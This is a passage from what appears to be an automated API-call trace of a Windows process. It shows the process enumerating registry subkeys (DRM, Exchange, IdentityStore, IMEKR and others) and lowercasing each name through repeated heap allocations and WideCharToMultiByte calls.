cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0139.907] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x226c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0139.907] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.907] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.907] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.907] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.907] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x226b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0139.907] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0139.907] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x226c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0139.907] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.907] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.907] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.907] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.907] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x226b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0139.907] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0139.907] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x226c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0139.908] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.908] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.908] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.908] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.908] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x226b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0139.908] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0139.908] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x226c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0139.908] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.908] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.908] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.908] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.908] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x226b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0139.908] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0139.908] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x226c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0139.908] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.908] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.908] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.908] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.908] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x226b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0139.908] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0139.908] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0139.908] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.908] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.908] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.908] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.908] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x226b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0139.908] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0139.908] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x226c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0139.909] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.909] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.909] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.909] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.909] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x226b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0139.909] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0139.909] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x226c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0139.909] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.909] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.909] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.909] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.909] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x226b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0139.909] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0139.909] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x226c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0139.909] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.909] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.909] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.909] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.909] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x226b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0139.909] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0139.909] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0139.909] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.909] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.909] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.909] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.909] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x226b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0139.909] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0139.909] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x226c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0139.909] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.909] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.910] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.910] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.910] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x226b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0139.910] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0139.910] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x226c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0139.910] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.910] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.910] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.910] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.910] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x226b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0139.910] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0139.910] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x226c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0139.910] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.910] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.910] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.910] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.910] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x226b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0139.910] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0139.910] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0139.910] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.910] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.910] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.910] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.910] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x226b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0139.910] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0139.910] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x226c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0139.910] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.910] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.910] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.911] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.911] RegEnumKeyW (in: hKey=0x24, dwIndex=0x28, lpName=0x226b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0139.911] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0139.911] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0139.911] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.911] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.911] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.911] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.911] RegEnumKeyW (in: hKey=0x24, dwIndex=0x29, lpName=0x226b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0139.911] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0139.911] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x226c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0139.911] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.911] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.911] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.911] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.911] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2a, lpName=0x226b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0139.911] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0139.911] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x226c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0139.911] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.911] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.911] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.911] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.911] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2b, lpName=0x226b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0139.911] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0139.911] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x226c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0139.911] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.911] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.911] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.911] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.912] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2c, lpName=0x226b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0139.912] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0139.912] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x226c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0139.912] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.912] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.912] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.912] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.912] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2d, lpName=0x226b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0139.912] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0139.912] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x226c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0139.912] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.912] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.912] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.912] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.912] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2e, lpName=0x226b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0139.912] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 